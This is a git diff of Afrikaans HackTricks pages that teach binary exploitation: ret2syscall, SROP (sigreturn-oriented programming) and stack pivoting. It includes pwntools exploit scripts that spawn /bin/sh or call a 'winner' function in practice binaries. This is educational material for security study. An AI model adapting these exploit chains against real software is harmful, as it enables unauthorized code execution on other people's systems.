@ -33,7 +33,7 @@ Dus, dit is basies nodig om die string `/bin/sh` êrens te skryf en dan die `sys
|
|||
|
||||
## Registreer Gadgets
|
||||
|
||||
Laat ons begin deur te vind **hoe om daardie register te beheer**:
|
||||
Laat ons begin deur **te vind hoe om daardie registre te beheer**:
|
||||
```c
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
|
@ -56,7 +56,7 @@ Start End Offset Perm Path
|
|||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Skryf String
|
||||
### Skryf String in geheue
|
||||
|
||||
Dan moet jy 'n manier vind om willekeurige inhoud op hierdie adres te skryf
|
||||
```python
|
||||
|
@ -101,7 +101,13 @@ rop += popRax
|
|||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Voorbeeld
|
||||
## Ontbrekende Toestelle
|
||||
|
||||
Indien jy **ontbreek aan toestelle**, byvoorbeeld om `/bin/sh` in die geheue te skryf, kan jy die **SROP-tegniek gebruik om al die registerwaardes** (insluitend RIP en params register) vanaf die stok te beheer:
|
||||
|
||||
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -180,7 +186,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -0,0 +1,85 @@
|
|||
# SROP - Sigreturn-Oriented Programming
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhanterer sy uitvoering voltooi het. Signale is onderbrekings wat deur die bedryfstelsel na 'n program gestuur word, dikwels om aan te dui dat 'n buitengewone situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, onderbreek dit tydelik sy huidige werk om die sein met 'n **seinhanterer** te hanteer, 'n spesiale funksie wat ontwerp is om met seine om te gaan.
|
||||
|
||||
Nadat die seinhanterer klaar is, moet die program sy vorige toestand **hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die prentjie kom. Dit help die program om **terug te keer van die seinhanterer** en herstel die program se toestand deur die stapelraamwerk (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhanterer gebruik is, skoon te maak.
|
||||
|
||||
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **al die CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer word nie, **haal `sigreturn` hierdie waardes van die stapel af**, wat die CPU se register effektief herstel na hul toestand voordat die sein hanteer is. Dit sluit die stapelpuntregister (RSP) in, wat na die huidige boonste gedeelte van die stapel wys.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Om die syscall **`sigreturn`** vanaf 'n ROP-ketting te roep en **die registerwaardes by te voeg** wat ons wil hê dit in die **stapel moet laai**, is dit moontlik om al die registerwaardes te **beheer** en dus byvoorbeeld die syscall `execve` met `/bin/sh` te **roep**.
|
||||
{% endhint %}
|
||||
|
||||
Let daarop dat hierdie 'n **tipe Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls te roep:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vir 'n beter verduideliking, kyk ook na:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Voorbeeld
|
||||
|
||||
Jy kan 'n [**voorbeeld hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), alhoewel dit die finale uitbuiting daarvan is:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = process()
|
||||
|
||||
BINSH = elf.address + 0x1250
|
||||
POP_RAX = 0x41018
|
||||
SYSCALL_RET = 0x41015
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = 0x3b # syscall number for execve
|
||||
frame.rdi = BINSH # pointer to /bin/sh
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
frame.rip = SYSCALL_RET
|
||||
|
||||
payload = b'A' * 8
|
||||
payload += p64(POP_RAX)
|
||||
payload += p64(0xf)
|
||||
payload += p64(SYSCALL_RET)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,167 @@
|
|||
# Stokpivoting - EBP2Ret - EBP-ketting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Hierdie tegniek maak gebruik van die vermoë om die **Basiese Aanwys (EBP)** te manipuleer om die uitvoering van verskeie funksies aan mekaar te koppel deur sorgvuldige gebruik van die EBP-register en die instruksievolgorde `leave; ret`.
|
||||
|
||||
As 'n herinnering, beteken **`leave`** basies:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
ret
|
||||
```
|
||||
En aangesien die **EBP in die stapel** voor die EIP is, is dit moontlik om dit te beheer deur die stapel te beheer.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Hierdie tegniek is veral nuttig wanneer jy die **EBP-register kan verander maar geen direkte manier het om die EIP-register te verander nie**. Dit maak gebruik van die gedrag van funksies wanneer hulle klaar uitgevoer is.
|
||||
|
||||
As jy tydens die uitvoering van `fvuln` 'n **vals EBP** in die stapel kan inspuit wat na 'n area in die geheue wys waar jou shellcode se adres geleë is (plus 4 byte om die `pop`-operasie te akkommodeer), kan jy indirek die EIP beheer. Wanneer `fvuln` terugkeer, word die ESP na hierdie gekonstrueerde plek ingestel, en die daaropvolgende `pop`-operasie verminder ESP met 4, wat dit effektief laat wys na jou shellcode. Wanneer die `ret`-instruksie uitgevoer word, word beheer oorgedra na jou shellcode.
|
||||
|
||||
#### Uitbuiting Konstruksie
|
||||
|
||||
Eerstens moet jy jou shellcode **inspuit na 'n uitvoerbare geheueplek en die adres kry**, of kry die adres na 'n geldige [**ONE\_GADGET**](https://github.com/david942j/one\_gadget), of maak die ESP wys na 'n plek met die adres van **`system()`** gevolg deur **4 rommelbyte** en die adres van `"/bin/sh"`.
|
||||
|
||||
Skep dan 'n vulsel en **kompromiteer die EBP** met die `adres na die shellcode/one_gadget - 4`. Dit moet `-4` wees as gevolg van die `pop`. Dan sal die `ESP` wys na ons gewenste adres en die `ret` sal uitgevoer word.
|
||||
|
||||
#### Off-By-One Uitbuiting
|
||||
|
||||
Daar is 'n spesifieke variasie van hierdie tegniek bekend as 'n "Off-By-One Uitbuiting". Dit word gebruik wanneer jy slegs die minst beduidende byte van die EBP kan wysig. In so 'n geval moet die geheueplek wat die adres van die shellcode stoor, die eerste drie byte deel met die EBP, wat 'n soortgelyke manipulasie met meer beperkte toestande toelaat.
|
||||
|
||||
### **EBP Ketting**
|
||||
|
||||
Dus, deur 'n beheerde adres in die `EBP`-inskrywing van die stapel te plaas en 'n adres na `leave; ret` in `EIP`, is dit moontlik om **die `ESP` na die beheerde `EBP`-adres van die stapel te skuif**.
|
||||
|
||||
Nou word die **`ESP`** beheer deur te wys na 'n gewenste adres en die volgende instruksie om uit te voer is 'n `RET`. Om hiervan misbruik te maak, is dit moontlik om in die beheerde ESP-plek hierdie te plaas:
|
||||
|
||||
* **`&(volgende vals EBP)`** -> Laai die nuwe EBP as gevolg van `pop ebp` van die `leave`-instruksie
|
||||
* **`system()`** -> Geroep deur `ret`
|
||||
* **`&(leave;ret)`** -> Geroep nadat system eindig, dit sal ESP na die vals EBP skuif en weer begin
|
||||
* **`&("/bin/sh")`**-> Parameter vir `system`
|
||||
|
||||
Op hierdie manier is dit moontlik om verskeie valse EBPs aan mekaar te koppel om die vloeiverloop van die program te beheer.
|
||||
|
||||
Eintlik is dit soos 'n [ret2lib](ret2lib/), maar meer kompleks sonder 'n ooglopende voordeel, maar dit kan interessant wees in sekere uitsonderlike gevalle.
|
||||
|
||||
Verder het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek met 'n **stapel lek** gebruik om 'n wenfunksie te roep. Dit is die finale lading van die bladsy:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
p.recvuntil('to: ')
|
||||
buffer = int(p.recvline(), 16)
|
||||
log.success(f'Buffer: {hex(buffer)}')
|
||||
|
||||
LEAVE_RET = 0x40117c
|
||||
POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## Ander maniere om RSP te beheer
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
|
||||
[**Op hierdie bladsy**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) kan jy 'n voorbeeld vind van die gebruik van hierdie tegniek. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente te roep, en daar was 'n **`pop rsp` gadget** en daar is 'n **lekkasie vanaf die stok**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
p.recvuntil('to: ')
|
||||
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
||||
log.success(f'Buffer: {hex(buffer)}')
|
||||
|
||||
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
||||
POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||||
|
||||
# The payload starts
|
||||
payload = flat(
|
||||
0, # r13
|
||||
0, # r14
|
||||
0, # r15
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
0xdeadc0de,
|
||||
0x0, # r15
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(104, b'A') # pad to 104
|
||||
|
||||
# Start popping RSP, this moves the stack to the leaked address and
|
||||
# continues the ROP chain in the prepared payload
|
||||
payload += flat(
|
||||
POP_CHAIN,
|
||||
buffer # rsp
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<register>, rsp-toestel
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
xchg <rag>, rsp
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue